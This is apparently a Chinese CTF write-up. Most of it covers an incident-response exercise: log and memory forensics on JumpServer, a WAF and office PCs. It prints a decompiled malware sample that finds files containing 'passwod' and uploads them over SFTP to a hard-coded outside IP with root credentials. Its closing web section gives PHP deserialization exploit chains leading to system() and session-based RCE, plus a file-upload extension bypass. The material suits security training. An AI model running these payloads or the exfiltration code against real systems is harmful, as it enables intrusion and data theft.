记一次应急响应赛题

发布于 2024-04-28  262 次阅读


关于此次应急响应关系网络拓扑如下图:

找到JumpServer堡垒机中flag标签的值。

提交攻击者第一次登录时间。

这个用户就十分奇怪,登录ip与之前的不同,并且显示的也是局域网的简称。

提交攻击者源IP。

在资产中jumpserver的命令执行记录中,这几个可以操作基本可以认定为攻击者。

提交攻者使用的cve编号。

在网上搜索jumpserver的漏洞,我们可以发现是有两个经典漏洞的,一个代码注入一个远程命令执行,我们知道这里攻击者是利用的远程命令执行。

提交攻击者留在Web服务器上的恶意程序的32位小写md5值。

这里在webserver的root目录下有个home文件,我们利用winhex打开

是可以发现这可能是个python程序的,但是这个文件是否是恶意程序其实不太清楚,将其md5值提交是对的。

分析恶意程序连接地址和密码。

把恶意程序解包,python反编译得到

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)

提交存在反序列化漏洞的端口。

在waf原始日志中,我们选择攻击类型为反序列化,这时我们发现日志中只有8080、80以及7878端口的攻击,提交发现8080为正确端口。

提交攻击者使用的后门路由地址。

我们直接查看后门的攻击事件,发现并没有题目中提示的api路由,我们用dg打开磁盘,看看日志,我们发现在根目录下的flask文件夹里面就有一个日志文件,搜索api还是没有,网上一些师傅说在jumpserver里面去翻查看app.py的记录,但是我并没有看到这条记录,只能在waf中再去找,不锁定后门事件,会拿到这样一个路由:

但这也不是后门啊,挺奇怪的,反正最后答案是/api/system

提交dnslog反弹域名。

我们刚刚找到的日志文件中,有两个dnslog,我刚开始直接搜索dnslog,只发现一个,真是难受,其实是一个0vqkht.dnslog.cn,一个0vqkht.palu.cn,然后第二个就是对的。

提交第一次扫描器使用时间。

在日志文件中,我们可以看到攻击者的这些操作,我们发现从一个时间戳开始,在即短的时间内就执行了多条命令,很明显这里就开始使用了扫描器

将时间戳转化为时间:2024-04-15 02:26:59

提交攻击者反弹shell使用的语言。

继续在日志中查看,发现利用python反弹了shell:

提交攻击者反弹shell的ip。

ip也在上面代码中了。

提交攻击者留下的账号。

开始我还以为留下什么账号呢,结果题目指的是登录账号,直接去看看/etc/passwd,发现palu.com

提交攻击者的后门账户密码。

我们知道了账号,在shadow里去看看密码:

利用john爆破一下可以拿到密码为123123

提交测试数据条数。

数据肯定是在数据库中,最开始以为是附带有palu.com的邮箱:

结果并不是,在pali_ctf表中可以拿到正确答案:

请提交攻击者留下的信息。

这题也是非常含糊不清的,我感觉这些数据都是留下的信息呀,我们回到文件中,其实并不止flask中有日志文件,在/var下也是有日志文件的,在其中的nginx下,我们发现了信息:

请提交运维服务器上的恶意文件md5(小写32位md5值)。

运维服务器就是jumpserver,我们去看看命令记录:

我们可以看到其实这个helloworld就非常可疑,拿下来提交发现正确。

提交恶意文件的恶意函数。

我们不知道这是什么文件,扔进ida看看,发现可以反编译成功,我们直接进main函数,可以发现恶意函数begingame:

请提交攻击者恶意注册的恶意用户条数。

这里其实就是提交测试数据条数中,我发现的第一张图里的内容,不过应该是那几个相同邮箱注册的用户,所以应该有10个。

请提交对博客系统的第一次扫描时间。

博客系统是在80端口,我们可以发现这个博客是依托于nginx的,但是我试着在nginx的日志里去寻找答案,发现都不太对,那扫博客waf有可能会有记录吧,但是在里面这么多记录,挺难找的,就直接提交每一个ip的第一条吧,发现有一个是对的:

提交攻击者下载的文件。

在waf中,发现第一条下载记录就是upload.zip

请提交攻击者第一次下载服务器文件的时间。

在waf中看不到具体时间,我们在日志文件里去看看,在几个日志文件里都搜搜upload.zip,在apache的日志文件中可以看到:

请提交攻击者留下的冰蝎马的文件名称。

在最开始的时候查看webserver的命令记录就发现nidewen.php这个文件可疑

提交冰蝎的链接密码。

可以看到,这个文件是在/var/www/html/api目录下的,打开就可以看到key,但是是个加密,后面才知道这个加密的解密就是nidewen

提交办公区存在的恶意用户名。

在pc01中有两个用户,一个admin,另一个就是hacker

提交恶意用户密码到期时间。

net user hacker可以查看

请对办公区留存的镜像取证并指出内存疑似恶意进程。

在桌面就是镜像,我们直接拿vol分析,先看看这个镜像操作系统版本:

然后看进程:

里面是有一个叫.hack.ex的文件的

请指出该员工使用的公司OA平台的密码。

我们用iehistory看一下历史记录,发现是有password.txt的,读取一下:

然后就能直接拿到密码:

攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。

这个木马其实挺难找的,主要是不知道在哪,可疑的名字也不知道是什么,只能一个指令一个指令去看文件,最后在剪切板里面发现了可疑内容:

这里补充一下命令:

Volatility Foundation Volatility Framework 2.6

Profiles
--------
VistaSP0x64           - Windows Vista SP0 x64 的配置文件
VistaSP0x86           - Windows Vista SP0 x86 的配置文件
VistaSP1x64           - Windows Vista SP1 x64 的配置文件
VistaSP1x86           - Windows Vista SP1 x86 的配置文件
VistaSP2x64           - Windows Vista SP1 x86 的配置文件
VistaSP2x86           - Windows Vista SP2 x64 的配置文件 
Win10x64              - Windows 10 x64 的配置文件 
Win10x64_10586        - Windows 10 x64 的配置文件 (10.0.10586.306 / 2016-04-23)
Win10x64_14393        - Windows 10 x64 的配置文件 (10.0.14393.0 / 2016-07-16)
Win10x86              - Windows 10 x86 的配置文件
Win10x86_10586        - Windows 10 x86 的配置文件 (10.0.10586.420 / 2016-05-28)
Win10x86_14393        - Windows 10 x86 的配置文件 (10.0.14393.0 / 2016-07-16)
Win2003SP0x86         - Windows 2003 SP0 x86 的配置文件
Win2003SP1x64         - Windows 2003 SP0 x86 的配置文件
Win2003SP1x86         - Windows 2003 SP1 x86 的配置文件 
Win2003SP2x64         - Windows 2003 SP1 x86 的配置文件 
Win2003SP2x86         - Windows 2003 SP2 x86 的配置文件 
Win2008R2SP0x64       - Windows 2008 R2 SP0 x64 的配置文件
Win2008R2SP1x64       - Windows 2008 R2 SP1 x64 的配置文件
Win2008R2SP1x64_23418 - Windows 2008 R2 SP1 x64 的配置文件 (6.1.7601.23418 / 2016-04-09)
Win2008SP1x64         - Windows 2008 SP1 x64 的配置文件
Win2008SP1x86         - Windows 2008 SP1 x86 的配置文件
Win2008SP2x64         - Windows 2008 SP2 x64 的配置文件
Win2008SP2x86         - Windows 2008 SP2 x86 的配置文件
Win2012R2x64          - Windows Server 2012 R2 x64 的配置文件
Win2012R2x64_18340    - Windows Server 2012 R2 x64 的配置文件 (6.3.9600.18340 / 2016-05-13)
Win2012x64            - Windows Server 2012 x64 的配置文件
Win2016x64_14393      - Windows Server 2016 x64 的配置文件 (10.0.14393.0 / 2016-07-16)
Win7SP0x64            - Windows 7 SP0 x64 的配置文件
Win7SP0x86            - Windows 7 SP0 x86 的配置文件
Win7SP1x64            - Windows 7 SP1 x64 的配置文件
Win7SP1x64_23418      - Windows 7 SP1 x64 的配置文件 (6.1.7601.23418 / 2016-04-09)
Win7SP1x86            - Windows 7 SP1 x86 的配置文件
Win7SP1x86_23418      - Windows 7 SP1 x86 的配置文件 (6.1.7601.23418 / 2016-04-09)
Win81U1x64            - Windows 8.1 更新 1 x64 的配置文件
Win81U1x86            - Windows 8.1 更新 1 x86 的配置文件
Win8SP0x64            - Windows 8 x64 的配置文件
Win8SP0x86            - Windows 8 x86 的配置文件
Win8SP1x64            - Windows 8.1 x64 的配置文件
Win8SP1x64_18340      - Windows 8.1 x64 的配置文件 (6.3.9600.18340 / 2016-05-13)
Win8SP1x86            - Windows 8.1 x86 的配置文件
WinXPSP1x64           - Windows XP SP1 x64 的配置文件
WinXPSP2x64           - Windows XP SP2 x64 的配置文件
WinXPSP2x86           - Windows XP SP2 x86 的配置文件
WinXPSP3x86           - Windows XP SP3 x86 的配置文件


Address Spaces
--------------
AMD64PagedMemory              - 标准 AMD 64 位地址空间
ArmAddressSpace               - ARM 处理器的地址空间
FileAddressSpace              - 这是一个直接文件 AS.
HPAKAddressSpace              - 此 AS 支持 HPAK 格式
IA32PagedMemory               - 标准 IA-32 分页地址空间
IA32PagedMemoryPae            - 此类实现 IA-32 PAE 分页地址空间
LimeAddressSpace              - Lime 的地址空间
LinuxAMD64PagedMemory         - Linux 特定的 AMD 64 位地址空间
MachOAddressSpace             - mach-o 文件的地址空间以支持 atc-ny 内存读取器
OSXPmemELF                    - 这个 AS 支持 VirtualBox ELF64 coredump 格式
QemuCoreDumpElf               - 这个 AS 支持 Qemu ELF32 和 ELF64 核心转储格式
VMWareAddressSpace            - 此 AS 支持 VMware 快照 (VMSS) 和保存状态 (VMSS) 文件 
VMWareMetaAddressSpace        - 此 AS 支持带有 VMSN/VMSS 元数据的 VMEM 格式 
VirtualBoxCoreDumpElf64       - 这个 AS 支持 VirtualBox ELF64 coredump 格式
Win10AMD64PagedMemory         - Windows 10 特定的 AMD 64 位地址空间
WindowsAMD64PagedMemory       - Windows 特定的 AMD 64 位地址空间
WindowsCrashDumpSpace32       - 这个 AS 支持 windows 崩溃转储格式
WindowsCrashDumpSpace64       - 此 AS 支持 windows Crash Dump 格式
WindowsCrashDumpSpace64BitMap - 此 AS 支持 Windows BitMap Crash Dump 格式
WindowsHiberFileSpace32       - 这是 Windows 休眠文件的休眠地址空间


Plugins
-------
amcache                    - 打印 AmCache 信息 
apihooks                   - 检测进程和内核内存中的 API 挂钩 
atoms                      - 打印会话和窗口站原子表
atomscan                   - 原子表的池扫描器
auditpol                   - 从 HKLM\SECURITY\Policy\PolAdtEv 打印出审计策略 
bigpools                   - 使用 BigPagePoolScanner 转储大页面池 
bioskbd                    - 从实模式内存中读取键盘缓冲区
cachedump                  - 从内存中转储缓存的域哈希
callbacks                  - 打印系统范围的通知例程
clipboard                  - 提取 Windows 剪贴板的内容
cmdline                    - 显示进程命令行参数
cmdscan                    - 通过扫描 _COMMAND_HISTORY 来提取命令历史记录
connections                - 打印打开的连接列表 [仅限 Windows XP 和 2003]
connscan                   - 用于 tcp 连接的池扫描器
consoles                   - 通过扫描 _CONSOLE_INFORMATION 提取命令历史记录
crashinfo                  - 转储崩溃转储信息
deskscan                   - tagDESKTOP(台式机)的 Poolscaner
devicetree                 - 显示设备树
dlldump                    - 从进程地址空间转储 DLL
dlllist                    - 打印每个进程加载的 dll 列表
driverirp                  - 驱动程序 IRP 挂钩检测
drivermodule               - 将驱动程序对象关联到内核模块
driverscan                 - 驱动程序对象的池扫描器
dumpcerts                  - 转储 RSA 私有和公共 SSL 密钥
dumpfiles                  - 提取内存映射和缓存文件
dumpregistry               - 将注册表文件转储到磁盘
editbox                    - 显示有关编辑控件的信息(列表框实验)
envars                     - 显示进程环境变量
eventhooks                 - 在 Windows 事件挂钩上打印详细信息
evtlogs                    - 提取 Windows 事件日志(仅限 XP/2003)
filescan                   - 文件对象的池扫描器
gahti                      - 转储 USER 句柄类型信息
gditimers                  - 打印已安装的 GDI 计时器和回调
gdt                        - 显示全局描述符表
getservicesids             - 获取 Registry 中的服务名称并返回计算的 SID
getsids                    - 打印拥有每个进程的 SID
handles                    - 打印每个进程的打开句柄列表
hashdump                   - 从内存中转储密码哈希 (LM/NTLM)
hibinfo                    - 转储休眠文件信息
hivedump                   - 打印注册表
hivelist                   - 打印注册表配置单元列表
hivescan                   - 注册表配置单元的池扫描程序
hpakextract                - 从 HPAK 文件中提取物理内存 
hpakinfo                   - 有关 HPAK 文件的信息 
idt                        - 显示中断描述符表 
iehistory                  - 重建 Internet Explorer 缓存/历史 
imagecopy                  - 将物理地址空间复制为原始 DD 映像
imageinfo                  - 识别图像的信息 
impscan                    - 扫描对导入函数的调用
joblinks                   - 打印进程作业链接信息 
kdbgscan                   - 搜索和转储潜在的 KDBG 值 
kpcrscan                   - 搜索和转储潜在的 KPCR 值
ldrmodules                 - 检测未链接的 DLL 
limeinfo                   - 转储 Lime 文件格式信息
linux_apihooks             - 检查用户态 apihooks 
linux_arp                  - 打印 ARP 表 
linux_aslr_shift           - 自动检测 Linux ASLR shift 
linux_banner               - 打印 Linux 横幅信息
linux_bash                 - 从 bash 进程内存中恢复 bash 历史记录
linux_bash_env             - 恢复进程的动态环境变量
linux_bash_hash            - 从 bash 进程内存中恢复 bash 哈希表 
linux_check_afinfo         - 验证网络协议的操作函数指针
linux_check_creds          - 检查是否有进程共享凭证结构
linux_check_evt_arm        - 检查异常向量表以查找系统调用表挂钩 
linux_check_fop            - 检查 rootkit 修改的文件操作结构
linux_check_idt            - 检查 IDT 是否已被更改
linux_check_inline_kernel  - 检查内联内核挂钩
linux_check_modules        - 将模块列表与 sysfs 信息进行比较(如果可用)
linux_check_syscall        - 检查系统调用表是否已更改
linux_check_syscall_arm    - 检查系统调用表是否已更改
linux_check_tty            - 检查 tty 设备的钩子
linux_cpuinfo              - 打印每个活动处理器的信息 
linux_dentry_cache         - 从 dentry 缓存中收集文件 
linux_dmesg                - 收集 dmesg 缓冲区
linux_dump_map             - 将选定的内存映射写入磁盘
linux_dynamic_env          - 恢复进程的动态环境变量
linux_elfs                 - 在进程映射中查找 ELF 二进制文件 
linux_enumerate_files      - 列出文件系统缓存引用的文件 
linux_find_file            - 列出并从内存中恢复文件 
linux_getcwd               - 列出每个进程的当前工作目录 
linux_hidden_modules       - 雕刻内存以查找隐藏的内核模块 
linux_ifconfig             - 收集活动接口 
linux_info_regs            - 就像 GDB 中的“信息寄存器”。 它打印出所有
linux_iomem                - 提供类似于 /proc/iomem 的输出
linux_kernel_opened_files  - 列出从内核中打开的文件 
linux_keyboard_notifiers   - 解析键盘通知器调用链 
linux_ldrmodules           - 将 proc 映射的输出与 libdl 中的库列表进行比较
linux_library_list         - 列出加载到进程中的库 
linux_librarydump          - 将进程内存中的共享库转储到磁盘 
linux_list_raw             - 列出具有混杂套接字的应用程序 
linux_lsmod                - 收集加载的内核模块 
linux_lsof                 - 列出文件描述符及其路径 
linux_malfind              - 寻找可疑的进程映射 
linux_memmap               - 转储 linux 任务的内存映射 
linux_moddump              - 提取加载的内核模块 
linux_mount                - 收集挂载的 fs/devices
linux_mount_cache          - 从 kmem_cache收集挂载的 fs/devices
linux_netfilter            - 列出 Netfilter 钩子
linux_netscan              - 雕刻网络连接结构 
linux_netstat              - 列出打开的套接字 
linux_pidhashtable         - 通过 PID 哈希表枚举进程 
linux_pkt_queues           - 将每个进程的数据包队列写入磁盘
linux_plthook              - 扫描 ELF 二进制文件的 PLT 以获取非需要图像的挂钩
linux_proc_maps            - 收集进程内存映射 
linux_proc_maps_rb         - 通过映射红黑树为 linux 收集进程映射
linux_procdump             - 将进程的可执行映像转储到磁盘 
linux_process_hollow       - 检查进程空心的迹象 
linux_psaux                - 收集进程以及完整的命令行和开始时间 
linux_psenv                - 收集进程及其静态环境变量 
linux_pslist               - 通过遍历 task_struct->task 列表来收集活动任务
linux_pslist_cache         - 从 kmem_cache 收集任务
linux_psscan               - 扫描进程的物理内存
linux_pstree               - 显示进程之间的父/子关系
linux_psxview              - 使用各种进程列表查找隐藏进程
linux_recover_filesystem   - 从内存中恢复整个缓存文件系统
linux_route_cache          - 从内存中恢复路由缓存 
linux_sk_buff_cache        - 从 sk_buff kmem_cache 中恢复数据包
linux_slabinfo             - 在运行的机器上模拟 /proc/slabinfo
linux_strings              - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长)
linux_threads              - 打印进程的线程 
linux_tmpfs                - 从内存中恢复 tmpfs 文件系统
linux_truecrypt_passphrase - 恢复缓存的 Truecrypt 密码
linux_vma_cache            - 从 vm_area_struct 缓存中收集 VMA 
linux_volshell             - 内存映像中的 Shell 
linux_yarascan             - Linux 内存映像中的 shell
lsadump                    - 从注册表中转储(解密的)LSA 机密
mac_adium                  - 列出 Adium 消息
mac_apihooks               - 检查进程中的 API 挂钩
mac_apihooks_kernel        - 检查系统调用和内核函数是否被挂钩 
mac_arp                    - 打印 arp 表
mac_bash                   - 从 bash 进程内存中恢复 bash 历史记录
mac_bash_env               - 恢复 bash 的环境变量
mac_bash_hash              - 从 bash 进程内存中恢复 bash 哈希表
mac_calendar               - 从 Calendar.app 获取日历事件
mac_check_fop              - 验证文件操作指针 
mac_check_mig_table        - 列出内核 MIG 表中的整体
mac_check_syscall_shadow   - 查找影子系统调用表 
mac_check_syscalls         - 检查系统调用表条目是否被挂钩 
mac_check_sysctl           - 检查未知的 sysctl 处理程序
mac_check_trap_table       - 检查 mach 陷阱表条目是否被钩住
mac_compressed_swap        - 打印 Mac OS X VM 压缩器统计数据并转储所有压缩页面
mac_contacts               - 从 Contacts.app 获取联系人姓名 
mac_dead_procs             - 打印终止/取消分配的进程
mac_dead_sockets           - 打印终止/取消分配的网络套接字
mac_dead_vnodes            - 列出释放的 vnode 结构
mac_devfs                  - 列出文件缓存中的文件 
mac_dmesg                  - 打印内核调试缓冲区 
mac_dump_file              - 转储指定文件 
mac_dump_maps              - 转储进程的内存范围,可选地包括压缩交换中的页面 
mac_dyld_maps              - 从 dyld 数据结构中获取进程的内存映射
mac_find_aslr_shift        - 查找 10.8+ 图像的 ASLR 移位值
mac_get_profile            - 自动检测 Mac 配置文件
mac_ifconfig               - 列出所有设备的网络接口信息 
mac_interest_handlers      - 列出 IOKit 兴趣处理程序 
mac_ip_filters             - 报告任何挂钩的 IP 过滤器
mac_kernel_classes         - 列出内核中加载的 c++ 类
mac_kevents                - 显示进程的父/子关系
mac_keychaindump           - 恢复可能的钥匙串密钥。 使用chainbreaker打开相关的keychain文件
mac_ldrmodules             - 将 proc 映射的输出与 libdl 中的库列表进行比较
mac_librarydump            - 转储进程的可执行文件 
mac_list_files             - 列出文件缓存中的文件 
mac_list_kauth_listeners   - 列出 Kauth Scope 监听器 
mac_list_kauth_scopes      - 列出 Kauth 范围及其状态
mac_list_raw               - 列出具有混杂套接字的应用程序 
mac_list_sessions          - 枚举会话 
mac_list_zones             - 打印活动区域 
mac_lsmod                  - 列出加载的内核模块 
mac_lsmod_iokit            - 列出通过 IOkit 加载的内核模块
mac_lsmod_kext_map         - 列出加载的内核模块 
mac_lsof                   - 列出每个进程打开的文件 
mac_machine_info           - 打印有关样本的机器信息 
mac_malfind                - 寻找可疑的进程映射 
mac_memdump                - 将可寻址内存页转储到文件中 
mac_moddump                - 将指定的内核扩展写入磁盘 
mac_mount                  - 打印挂载的设备信息 
mac_netstat                - 列出每个进程的活动网络连接 
mac_network_conns          - 列出来自内核网络结构的网络连接 
mac_notesapp               - 查找 Notes 消息的内容
mac_notifiers              - 检测将钩子添加到 I/O 工具包中的 rootkit(例如 LogKext)
mac_orphan_threads         - 列出不映射回已知模块/进程的线程
mac_pgrp_hash_table        - 遍历进程组哈希表 
mac_pid_hash_table         - 遍历 pid 哈希表
mac_print_boot_cmdline     - 打印内核启动参数 
mac_proc_maps              - 获取进程的内存映射 
mac_procdump               - 转储进程的可执行文件 
mac_psaux                  - 在用户区打印带有参数的进程 (**argv)
mac_psenv                  - 在用户空间打印带有环境的进程 (**envp)
mac_pslist                 - 列出正在运行的进程 
mac_pstree                 - 显示进程的父/子关系
mac_psxview                - 使用各种进程列表查找隐藏进程 
mac_recover_filesystem     - 恢复缓存的文件系统 
mac_route                  - 打印路由表 
mac_socket_filters         - 报告套接字过滤器 
mac_strings                - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长)
mac_tasks                  - 列出活动任务 
mac_threads                - 列出进程线程 
mac_threads_simple         - 列出线程及其开始时间和优先级 
mac_timers                 - 报告内核驱动程序设置的定时器 
mac_trustedbsd             - 列出恶意的trustedbsd 策略
mac_version                - 打印 Mac 版本
mac_vfsevents              - 列出过滤文件系统事件的进程 
mac_volshell               - 内存映像中的外壳 
mac_yarascan               - 扫描内存中的 yara 签名 
machoinfo                  - 转储 Mach-O 文件格式信息
malfind                    - 查找隐藏和注入的代码 
mbrparser                  - 扫描并解析潜在的主引导记录 (MBR)
memdump                    - 转储进程的可寻址内存 
memmap                     - 打印内存映射 
messagehooks               - 列出桌面和线程窗口消息挂钩 
mftparser                  - 扫描并解析潜在的 MFT 条目
moddump                    - 将内核驱动程序转储到可执行文件示例 
modscan                    - 内核模块的池扫描器 
modules                    - 打印加载模块的列表 
multiscan                  - 一次扫描各种对象 
mutantscan                 - 互斥对象的池扫描器 
netscan                    - 扫描 Vista(或更高版本)图像的连接和套接字 
notepad                    - 列出当前显示的记事本文本 
objtypescan                - 扫描 Windows 对象类型对象
patcher                    - 基于页面扫描修补内存 
poolpeek                   - 可配置的池扫描器插件 
pooltracker                - 显示池标签使用的摘要 
printkey                   - 打印注册表项及其子项和值 
privs                      - 显示进程权限 
procdump                   - 将进程转储到可执行文件示例 
pslist                     - 按照 EPROCESS 列表打印所有正在运行的进程
psscan                     - 进程对象的池扫描器 
pstree                     - 将进程列表打印为树 
psxview                    - 使用各种进程列表查找隐藏进程 
qemuinfo                   - 转储 Qemu 信息
raw2dmp                    - 将物理内存样本转换为 windbg 故障转储
screenshot                 - 保存基于 GDI 窗口的伪截图
servicediff                - 列出 Windows 服务(ala Plugx)
sessions                   - 列出 _MM_SESSION_SPACE 的详细信息(用户登录会话)
shellbags                  - 打印 ShellBags 信息
shimcache                  - 解析应用程序兼容性 Shim Cache 注册表项
shutdowntime               - 从注册表打印机器的 ShutdownTime
sockets                    - 打印打开的套接字列表 
sockscan                   - tcp 套接字对象的池扫描器
ssdt                       - 显示 SSDT 条目
strings                    - 将物理偏移量与虚拟地址匹配(可能需要一段时间,非常冗长)
svcscan                    - 扫描 Windows 服务
symlinkscan                - 符号链接对象的池扫描器 
thrdscan                   - 线程对象的池扫描器 
threads                    - 调查 _ETHREAD 和 _KTHREADs
timeliner                  - 从内存中的各种工件创建时间线 
timers                     - 打印内核定时器和相关的模块 DPC
truecryptmaster            - 恢复 TrueCrypt 7.1a 主密钥
truecryptpassphrase        - TrueCrypt 缓存密码短语查找器
truecryptsummary           - TrueCrypt 总结
unloadedmodules            - 打印已卸载模块的列表 
userassist                 - 打印 userassist 注册表项和信息
userhandles                - 转储 USER 句柄表
vaddump                    - 将 vad 部分转储到文件中
vadinfo                    - 转储 VAD 信息
vadtree                    - 遍历 VAD 树并以树格式显示
vadwalk                    - 走 VAD 树
vboxinfo                   - 转储 virtualbox 信息 
verinfo                    - 从 PE 图像中打印出版本信息
vmwareinfo                 - 转储 VMware VMSS/VMSN 信息
volshell                   - 内存映像中的 Shell
win10cookie                - 查找 Windows 10 的 ObHeaderCookie 值 
windows                    - 打印桌面窗口(详细信息)
wintree                    - 打印Z顺序桌面Windows树
wndscan                    - 用于窗口站的池扫描仪
yarascan                   - 使用 Yara 签名扫描进程或内核内存


Scanner Checks
--------------
CheckPoolSize          - 检查池块大小
CheckPoolType          - 检查池类型
KPCRScannerCheck       - 检查自引用指针以查找KPCR
MultiPrefixFinderCheck - 每页检查多个字符串,在偏移处完成
MultiStringFinderCheck - 每页检查多个字符串
PoolTagCheck           - 此扫描程序检查池标记的出现

请提交该计算机中记录的重要联系人的家庭住址。

在前面查看历史的时候就发现许多contact文件,contact就是联系的意思,所以我们只需要搜索contact文件即可:

一看就是王总:

请提交近源靶机上的恶意文件哈希。

近源靶机是PC02,这题可能是我的包损坏了,其他师傅说直接打开机子就会直接弹到恶意文件位置,但是我的机子没弹,甚至没这个文件

提交攻击者使用内网扫描工具的哈希。

在jumpserver命令记录中就发现了fscan这个工具的记录,通过记录我们发现它实际上是在bin目录下的,直接拿下来就行,或者是利用存在的后门:

请提交攻击者在站点上留下的后门密码。

就上面的后门,密码123

请提交攻击者在数据库留下的信息。

在pre_ucenter_vars表中可以知道:

提交攻击者在监控服务器上留下的dcnlog地址。

监控服务器为Zabbix,那么我们直接去mysql02数据库中找,在表scripts中可以找到:

提交监控服务器上恶意用户的上一次登录时间。

找到监控服务器网址(192.168.20.12/zabbix),查看用户即可

提交监控服务器上遗留的反弹shell地址和端口。

base64解下密可以拿到:

因为之前数据库中发现了前面的命令是外带,那么这条就很有可能是反弹shell。

提交恶意钓鱼文件的哈希。

这题有点抽象,竟然是比赛通知初稿,扔进vt可以发现:

这里外联的地址就暴露了这是一个钓鱼文件。md5:da75025ff7f3b6baa27f5913c1c83063

提交恶意文件外连IP。

就是上面那个,但是提交好像不太对,不知道为啥

提交被恶意文件钓鱼使用者的姓名。

我们在pc2中发现了许多用户,在这些用户中,有一个用户存在这个钓鱼文件:

提交攻击者留下的信息。

在pc2的命令记录里可以看到有flag的字样:

查看一下操作录像:

提交恶意用户数量。

可以直接net user查看

请提交员工集体使用的密码。

直接尝试admin的密码,是对的。

提交加密文件的哈希。

提交被攻击者加密的内容明文。

打开发现是玛卡巴卡加密,直接去解密:

2024ispassword

提交办公区的恶意文件哈希。

在文件传输中上传了一个可疑文件,直接去拿下来就行:

提交恶意回连端口。

我们把这个恶意文件解包,然后反编译即可:

提交恶意程序中的flag。

上图中有

提交恶意文件中的search_for_text内容。

依然是上图

总结

感觉这次应急靶机挺简单的,主要就是需要工具用得好,为后面的取证比赛打基础把。

web

这里顺便把web也都复现了吧。

Web-签到

给了源码,很简单,就是url所访问的页面中包含paluctf

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

可以直接ssrf或者在自己服务器上创建文件访问。

R23

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
       system($_GET['a']);
    }
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']);

比较简单的地址引用绕过,这里禁了R2和R3,另外引入变量,然后同时指向此变量地址即可变成R4绕过:

<?php
class a{
    public $b;
}

class b{
    public $a;
    public $b;
    public $c;

}

class xk{
}

$A=new a;
$xk=new xk;
$B=new b;
$po=null;
$B->c=&$po;
$B->b=&$po;
$B->a=$A;
$A->b=$xk;


echo serialize($B);

mylove

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }
    
}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);
}

这道题确实是知识盲区了,没想到是利用file_put_contents想保存session的文件夹中写入文件,然后再开启session通过$_SESSION读取文件,之前知道可以向session文件夹中写shell,然后去访问就能rce,但那都是在session开启的情况下,这里手动开启确实没想到,这里直接拿其他师傅的payload:

//写入文件
$ctf = new b();
$ctf ->a = new a();
$ctf ->a -> b = new xk();
$ctf ->c = &$ctf->b;
//上面是通过引用变量绕过wakeup中的this->$c="no",因为wakeup要让c是一个对象,才能利用这句$tmp = $this->c->name;跳转
//下面是session文件的路径以及写入的内容
$ctf-> a -> b -> man = "/var/lib/php/session/sess_1";    //phpinfo获取
$ctf-> a -> b -> woman ="bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";//  name|s:14:"your are good!";
                                                            //phpinfo获取处理器为php
echo serialize($ctf);

//开启session,命令执行
$ctfer = new b();
$ctfer ->a = new a();
$ctfer ->a -> b = new end();
$ctfer ->c = &$ctfer->b;
$ctfer ->a -> b-> func ='session_start';
echo serialize($ctfer);

PHPSESSID=1
test=_SESSION

宇宙召唤

脑洞题,只允许上传png、jpg图片,大小不超过1k,脑洞47的ascii编码为*,*可以用来截断文件后缀,传图片马shell.php,后缀改为shell.php*.png即可


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。